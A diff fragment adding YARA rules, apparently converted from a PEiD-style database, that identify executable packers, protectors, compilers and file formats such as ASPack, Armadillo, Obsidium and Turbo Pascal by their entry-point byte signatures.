+		$0 = {E8 93 3E 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 B4 1F 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 AF 1D 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 40 1D 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75 08 3B F7 75 03 33 F6 46 33 DB 89 5D E4 83 FE E0 77 69 83 3D ?? ?? ?? ?? ?? 75 4B 83 C6 0F 83 E6 F0 89 75 0C 8B 45 08 3B 05 ?? ?? ?? ?? 77 37 6A 04 E8 C1 1B 00 00 59 89 7D FC FF 75 08 E8 B1 46 00 00 59 89 45 E4 C7 45 FC FE FF FF FF E8 5F 00 00 00 8B 5D E4 3B DF 74 11 FF 75 08 57 53 E8 86 D3 FF FF 83 C4 0C 3B DF 75 61 56 6A 08 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 3B DF 75 4C 39 3D ?? ?? ?? ?? 74 33 56 E8 C4 FA FF FF 59 85 C0 0F 85 72 FF FF FF 8B 45 10 3B C7 0F 84 50 FF FF FF C7 00 0C 00 00 00 E9 45 FF FF FF 33 FF 8B 75 0C 6A 04 E8 67 1A 00 00 59 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_CDCops_II_
+{
+	meta:
+		description = "PseudoSigner 0.1 [CD-Cops II"
+	strings:
+		$0 = {53 60 BD 90 90 90 90 8D 45 90 8D 5D 90 E8 00 00 00 00 8D 01 E9}
+		$1 = {53 60 BD 90 90 90 90 8D 45 90 8D 5D 90 E8 00 00 00 00 8D 01 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_LCC_Win32_DLL_
+{
+	meta:
+		description = "PseudoSigner 0.2 [LCC Win32 DLL"
+	strings:
+		$0 = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 90 90 90 FF 75 10 FF 75 0C FF 75 08 A1}
+		$1 = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 90 90 90 FF 75 10 FF 75 0C FF 75 08 A1}
+		$2 = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 90 90 90 FF 75 10 FF 75 0C FF 75 08 A1}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _AdFlt2_
+{
+	meta:
+		description = "AdFlt2"
+	strings:
+		$0 = {68 00 01 9C 0F A0 0F A8 60 FD 6A 00 0F A1 BE ?? ?? AD}
+		$1 = {68 00 01 9C 0F A0 0F A8 60 FD 6A 00 0F A1 BE ?? ?? AD}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NET_DLL__Microsoft_
+{
+	meta:
+		description = ".NET DLL -> Microsoft"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 5F 43 6F 72 44 6C 6C 4D 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C 00 00 ?? 00 00 FF 25}
+		$1 = {00 00 00 00 00 00 00 00 5F 43 6F 72 44 6C 6C 4D 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C 00 00 ?? 00 00 FF 25}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SecureEXE_30__ZipWorx_
+{
+	meta:
+		description = "SecureEXE 3.0 -> ZipWorx"
+	strings:
+		$0 = {E9 B8 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00}
+		$1 = {E9 B8 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_Microsoft_Visual_Cpp_50p_MFC_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual C++ 5.0+ (MFC)"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 E9}
+		$1 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXECryptor_vxxxx_
+{
+	meta:
+		description = "EXECryptor vx.x.x.x"
+	strings:
+		$0 = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 B8 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41}
+	condition:
+		$0 at entrypoint
+}
+rule _Sun_Icon_Graphics_format_
+{
+	meta:
+		description = "Sun Icon Graphics format"
+	strings:
+		$0 = {2F 2A 20 46 6F 72 6D 61 74 5F 76 65 72 73 69 6F 6E 3D 31 2C}
+	condition:
+		$0 at entrypoint
+}
+rule _SoftSentry_v211_
+{
+	meta:
+		description = "SoftSentry v2.11"
+	strings:
+		$0 = {55 8B EC 83 EC ?? 53 56 57 E9 50}
+		$1 = {55 8B EC 83 EC ?? 53 56 57 E9 50}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _AVP_Inspector_Database_
+{
+	meta:
+		description = "AVP Inspector Database"
+	strings:
+		$0 = {47 68 6F 73 74 20 42 75 73 74 65 72}
+	condition:
+		$0 at entrypoint
+}
+rule _Windows_Group_file_
+{
+	meta:
+		description = "Windows Group file"
+	strings:
+		$0 = {50 4D 43 43}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_or_Borland_Pascal_v70_
+{
+	meta:
+		description = "Turbo or Borland Pascal v7.0"
+	strings:
+		$0 = {9A ?? ?? ?? ?? C8 ?? ?? ?? 9A ?? ?? ?? ?? 09 C0 75 ?? EB ?? 8D ?? ?? ?? 16 57 6A ?? 9A ?? ?? ?? ?? BF ?? ?? 1E 57 68}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE__Liuli_
+{
+	meta:
+		description = "EXEÎļþºÏ²¢Æ÷ -> Liuli"
+	strings:
+		$0 = {E8 53 03 00 00 8B F0 56 56 E8 98 03 00 00 8B C8}
+	condition:
+		$0 at entrypoint
+}
+rule _ProActivate_V10X__TurboPower_Software_Company__
+{
+	meta:
+		description = "ProActivate V1.0X -> TurboPower Software Company !"
+	strings:
+		$0 = {8C D3 8E C3 8C CA 8E DA 8B 0E ?? ?? 8B F1 83 ?? ?? 8B FE D1 ?? FD F3 A5 53}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_SKE_2122_exe__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASProtect SKE 2.1/2.2 (exe) -> Alexey Solodovnikov"
+	strings:
+		$0 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_1xx_
+{
+	meta:
+		description = "Nullsoft Install System 1.xx"
+	strings:
+		$0 = {55 8B EC 83 EC 2C 53 56 33 F6 57 56 89 75 DC 89 75 F4 BB A4 9E 40 00 FF 15 60 70 40 00 BF C0 B2 40 00 68 04 01 00 00 57 50 A3 AC B2 40 00 FF 15 4C 70 40 00 56 56 6A 03 56 6A 01 68 00 00 00 80 57 FF 15 9C 70 40 00 8B F8 83 FF FF 89 7D EC 0F 84 C3 00 00 00}
+		$1 = {83 EC 0C 53 56 57 FF 15 20 71 40 00 05 E8 03 00 00 BE 60 FD 41 00 89 44 24 10 B3 20 FF 15 28 70 40 00 68 00 04 00 00 FF 15 28 71 40 00 50 56 FF 15 08 71 40 00 80 3D 60 FD 41 00 22 75 08 80 C3 02 BE 61 FD 41 00 8A 06 8B 3D F0 71 40 00 84 C0 74 0F 3A C3 74}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _ACE_Archive_
+{
+	meta:
+		description = "ACE Archive"
+	strings:
+		$0 = {2A 2A 41 43 45 2A 2A}
+	condition:
+		$0 at entrypoint
+}
+rule _nPack_V111502006Beta__NEOxuinC_
+{
+	meta:
+		description = "nPack V1.1.150.2006.Beta -> NEOx/[uinC"
+	strings:
+		$0 = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 3C ?? ?? ?? C7 05 40 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3}
+		$1 = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 3C ?? ?? ?? C7 05 40 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3 56 57 68 54 ?? ?? ?? FF 15 00 ?? ?? ?? 8B 35 08 ?? ?? ?? 8B F8 68 44 ?? ?? ?? 57 FF D6 68 38 ?? ?? ?? 57 A3 38 ?? ?? ?? FF D6 5F A3 34 ?? ?? ?? 5E C3}
+		$2 = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 3C ?? ?? ?? C7 05 40 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Upack_v033__v034_Beta__Dwing_
+{
+	meta:
+		description = "Upack v0.33 ~ v0.34 Beta -> Dwing"
+	strings:
+		$0 = {59 F3 A5 83 C8 FF 8B DF AB 40 AB 40}
+	condition:
+		$0 at entrypoint
+}
+rule _SEAAXE_
+{
+	meta:
+		description = "SEA-AXE"
+	strings:
+		$0 = {FC BC ?? ?? 0E 1F E8 ?? ?? 26 A1 ?? ?? 8B 1E ?? ?? 2B C3 8E C0 B1 ?? D3 E3}
+		$1 = {FC BC ?? ?? 0E 1F A3 ?? ?? E8 ?? ?? A1 ?? ?? 8B ?? ?? ?? 2B C3 8E C0 B1 03 D3 E3 8B CB BF ?? ?? 8B F7 F3 A5}
+		$2 = {FC BC ?? ?? 0E 1F E8 ?? ?? 26 A1 ?? ?? 8B 1E ?? ?? 2B C3 8E C0 B1 ?? D3 E3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Microsoft_C_19881989_
+{
+	meta:
+		description = "Microsoft C (1988/1989)"
+	strings:
+		$0 = {B4 30 CD 21 3C 02 73 ?? CD 20 BF ?? ?? 8B ?? ?? ?? 2B F7 81 ?? ?? ?? 72}
+	condition:
+		$0 at entrypoint
+}
+rule _Aluwain_v809_
+{
+	meta:
+		description = "Aluwain v8.09"
+	strings:
+		$0 = {8B EC 1E E8 ?? ?? 9D 5E}
+		$1 = {8B EC 1E E8 ?? ?? 9D 5E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _eXpressor_v10__CGSoftLabs_
+{
+	meta:
+		description = "eXpressor v1.0 -> CGSoftLabs"
+	strings:
+		$0 = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_V520__Silicon_Realms_Toolworks___20080214_
+{
+	meta:
+		description = "Armadillo V5.20 -> Silicon Realms Toolworks  * 20080214"
+	strings:
+		$0 = {E8 38 3D 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 98 1E 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 EC 1C 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 7D 1C 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Borland_Delphi_Setup_Module__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Borland Delphi Setup Module] --> Anorganix"
+	strings:
+		$0 = {55 8B EC 83 C4 90 53 56 57 33 C0 89 45 F0 89 45 D4 89 45 D0 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _TaiShanXiangYu_LockSoft_V10__zlocksoft_
+{
+	meta:
+		description = "TaiShanXiangYu LockSoft V1.0 -> zlocksoft"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED E3 00 42 00 8B D5 81 C2 32 01 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? 8B D5 81 ?? ?? ?? ?? ?? 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 ?? ?? ?? E9 ?? ?? ?? ?? 33 C0 64 FF 30 64 89 20 43 CC C3}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE2COM_Encrypted_without_selfcheck_
+{
+	meta:
+		description = "EXE2COM (Encrypted without selfcheck)"
+	strings:
+		$0 = {B3 ?? B9 ?? ?? BE ?? ?? BF ?? ?? EB ?? 54 69 ?? ?? ?? ?? 03 ?? ?? 32 C3 AA 43 49 E3 ?? EB ?? BE ?? ?? 8B C6}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_v1304__Obsidium_Software_h_
+{
+	meta:
+		description = "Obsidium v1.3.0.4 -> Obsidium Software (h)"
+	strings:
+		$0 = {EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 01 ?? 33 C0 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _PrivateEXE_v20a_
+{
+	meta:
+		description = "PrivateEXE v2.0a"
+	strings:
+		$0 = {06 60 C8 ?? ?? ?? 0E 68 ?? ?? 9A ?? ?? ?? ?? 3D ?? ?? 0F ?? ?? ?? 50 50 0E 68 ?? ?? 9A ?? ?? ?? ?? 0E}
+		$1 = {06 60 C8 ?? ?? ?? 0E 68 ?? ?? 9A ?? ?? ?? ?? 3D ?? ?? 0F ?? ?? ?? 50 50 0E 68 ?? ?? 9A ?? ?? ?? ?? 0E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Lotus_Word_Pro_document_file_
+{
+	meta:
+		description = "Lotus Word Pro document file"
+	strings:
+		$0 = {57 6F 72 64 50 72 6F ?? ?? ?? ?? ?? ?? ?? ?? ?? 4C 57 50 37}
+	condition:
+		$0 at entrypoint
+}
+rule _Alloy_v1x2000__Prakash_Gautam_
+{
+	meta:
+		description = "Alloy v1.x.2000 -> Prakash Gautam"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 00 87 DD 6A 04 68 00 10 ?? ?? 68 00 02 ?? ?? 6A 00 FF 95 46 23 40 ?? 0B}
+	condition:
+		$0 at entrypoint
+}
+rule _dxp__Decrementing_1_byte_XOR_
+{
+	meta:
+		description = "dxp - Decrementing 1 byte XOR"
+	strings:
+		$0 = {30 10 FE CA 48 49 ?? 85 C9 75 F5}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsiduim_1304__Obsiduim_Software_
+{
+	meta:
+		description = "Obsiduim 1.3.0.4 -> Obsiduim Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v085f_
+{
+	meta:
+		description = "tElock v0.85f"
+	strings:
+		$0 = {60 E8 02 00 00 00 CD 20 E8 00 00 00 00 5E 2B C9 58 74 02}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_Pascal_3_
+{
+	meta:
+		description = "Turbo Pascal 3"
+	strings:
+		$0 = {E9 00 00 90 90 CD AB 43 6F 70 79 72 69 67 68 74 20 28 43 29 20 31 39 38 35 20 42 4F 52 4C 41 4E 44 20 49 6E 63 02 04 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v190b3_
+{
+	meta:
+		description = "Armadillo v1.90b3"
+	strings:
+		$0 = {55 8B EC 6A FF 68 08 E2 40 00 68 94 95 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 08 E2 40 00 68 94 95 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_C_v70__Basic_NET_
+{
+	meta:
+		description = "Microsoft Visual C# v7.0 / Basic .NET"
+	strings:
+		$0 = {FF 25 00 20 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_430a__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 4.30a -> Silicon Realms Toolworks"
+	strings:
+		$0 = {44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 41 4E 53 49 29 2C 20 61 70 70 20 73 74 72 69 6E 67 73 20 61 72 65 20 27 25 73 27 20 61 6E 64 20 27 25 73 27 00 00 00 44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 55 4E 49 43}
+		$1 = {44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 41 4E 53 49 29 2C 20 61 70 70 20 73 74 72 69 6E 67 73 20 61 72 65 20 27 25 73 27 20 61 6E 64 20 27 25 73 27 00 00 00 44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 55 4E 49 43 4F 44 45 29 2C 20 61 70 70 20 73 74 72 69 6E 67 73 20 61 72 65 20 27 25 53 27 20 61 6E 64 20 27 25 53 27 00 00 00 00 50 75 74 53 74 72 69 6E 67 28 27 25 73 27 29 00 47 65 74 53 74 72 69 6E 67 28 29 2C 20 66 61 6C 73 65 00 00 47 65 74 53}
+		$2 = {44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 41 4E 53 49 29 2C 20 61 70 70 20 73 74 72 69 6E 67 73 20 61 72 65 20 27 25 73 27 20 61 6E 64 20 27 25 73 27 00 00 00 44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 55 4E 49 43}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _EXEJoiner_v10_
+{
+	meta:
+		description = "EXEJoiner v1.0"
+	strings:
+		$0 = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 C6 00 5C 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _ORiEN_v211__212__Fisun_Alexander_
+{
+	meta:
+		description = "ORiEN v2.11 - 2.12 -> Fisun Alexander"
+	strings:
+		$0 = {E9 5D 01 00 00 CE D1 CE ?? 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F 74 65 63 74 69 6F 6E 20 73 79 73 74 65 6D 20 2D 0D 0A 2D 2D 2D 2D 2D 2D 20 43 72 65 61 74 65 64 20 62 79 20 41 2E 20 46 69 73 75 6E 2C 20 31 39 39 34 2D 32 30 30 33 20 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 20 57 57 57 3A 20 68 74 74 70 3A 2F 2F 7A 61 6C 65 78 66 2E 6E 61 72 6F 64 2E 72 75 2F 20 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 20 65 2D 6D 61 69 6C 3A 20 7A 61 6C 65 78 66 40 68 6F 74 6D 61 69 6C 2E 72 75 20 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D}
+		$1 = {E9 5D 01 00 00 CE D1 CE ?? 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NJoy_10__NEX_
+{
+	meta:
+		description = "N-Joy 1.0 -> NEX"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 9C 3B 40 00 E8 8C FC FF FF 6A 00 68 E4 39 40 00 6A 0A 6A 00 E8 40 FD FF FF E8 EF F5 FF FF 8D 40 00}
+		$1 = {55 8B EC 83 C4 F0 B8 9C 3B 40 00 E8 8C FC FF FF 6A 00 68 E4 39 40 00 6A 0A 6A 00 E8 40 FD FF FF E8 EF F5 FF FF 8D 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASPack_v10801__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.08.01 -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ?? ?? ?? 44 ?? BB 10 ?? 44 ?? 03 DD 2B 9D}
+		$1 = {60 EB ?? 5D EB ?? FF ?? ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _aPack_099_i_m_COM_
+{
+	meta:
+		description = "aPack 0.99 -i -m [COM]"
+	strings:
+		$0 = {8C C8 05 00 00 8E C0 59 8E D0 51 BE 00 01 BF 00 01 50 57 FC B2 80 BD 00 01 50 AC F6 D0 AA FF D5 73 F8 FF D5 41 73 12 FF D5 BB 10 00 72 00 FF D5 12 DB 73 FA 75 00 93 EB 00 B7 01 FF D5 12 FF 72 00 FF D5 72 F6 FF D5 13 C9 FF D5 72 F8 80 EF 03}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_V0b__cyberbob__20080312_
+{
+	meta:
+		description = "PESpin V0.b -> cyberbob * 20080312"
+	strings:
+		$0 = {EB 01 ?? 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 72 C8 46 00 0B E4 74 9E 75 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 ?? ?? ?? ?? ?? 5D 33 C9 41 E2 26 E8 01 00 00 00 ?? 5A 33 C9 ?? ?? ?? ?? ?? ?? 8B 42 3C 03 C2 89 ?? ?? ?? ?? ?? 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B ?? ?? ?? ?? ?? ?? 8B 59 24 03 DA 8B 1B ?? ?? ?? ?? ?? ?? 53 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A 0C 5B 6A 17 59 30 0C 03 02 CB 4B 75 F8 40 8D 9D 41 8F 4E 00 50 53 81 2C 24 01 78 0E 00 ?? ?? ?? ?? ?? ?? C3 92 EB 15 68 ?? ?? ?? ?? ?? B9 ?? 08 00 00 ?? ?? ?? ?? ?? ?? 4F 30 1C 39 FE CB E2 F9 68 1D 01 00 00 59 ?? ?? ?? ?? ?? ?? C0 0C 39 02 E2 FA 68 ?? ?? ?? ?? 50 01 6C 24 04 E8 BD 09 00 00 33 C0 0F 84 C0 08 00 00 ?? ?? ?? ?? ?? ?? 50 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF E0 C3 8D 64 24 04 E8 53 0A 00 00 D7 58 5B 51 C3 F7 F3 32 DA ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 81 2C 24 A3 00 00 00 58 ?? ?? ?? ?? ?? ?? 53 FF E0}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_10_beta__ap0x_
+{
+	meta:
+		description = "RLPack 1.0 beta -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 F9 01 00 00 89 85 48 02 00 00 5B FF B5}
+		$1 = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 F9 01 00 00 89 85 48 02 00 00 5B FF B5 48 02 00 00 56 FF D3 83 C4 08 8B B5 48 02 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 83 C0 04 89 85 44 02 00 00 EB 7A 56 FF 95 F1 01 00 00 89 85 40 02 00 00 8B C6 EB 4F 8B 85 44 02 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 44 02 00 00 C7 00 20 20 20 00 EB 06 FF B5 44 02 00 00 FF B5 40 02 00 00 FF 95 F5 01 00 00 89 07 83 C7 04 8B 85 44 02 00 00 EB 01 40 80 38 00 75 FA 40 89 85 44 02 00 00 80 38 00 75 AC EB 01 46 80 3E 00 75 FA 46 40 8B 38 83 C0 04 89 85 44 02 00 00 80 3E 01 75 81 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 48 02 00 00 FF 95 FD 01 00 00 61 68 ?? ?? ?? ?? C3 60 8B 74 24 24 8B 7C}
+		$2 = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 F9 01 00 00 89 85 48 02 00 00 5B FF B5 48 02 00 00 56 FF D3 83 C4 08 8B B5 48 02 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 83 C0 04 89 85 44 02 00 00 EB 7A 56 FF 95 F1 01 00 00 89 85 40 02 00 00 8B C6 EB 4F 8B 85 44 02 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 44 02 00 00 C7 00 20 20 20 00 EB 06 FF B5 44 02 00 00 FF B5 40 02 00 00 FF 95 F5 01 00 00 89 07 83 C7 04 8B 85 44 02 00 00 EB 01 40 80 38 00 75 FA 40 89 85 44 02 00 00 80 38 00 75 AC EB 01 46 80 3E 00 75 FA 46 40 8B 38 83 C0 04 89 85 44 02 00 00 80 3E 01 75 81 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 48 02 00 00 FF 95 FD 01 00 00 61 68 ?? ?? ?? ?? C3 60 8B 74 24 24 8B 7C}
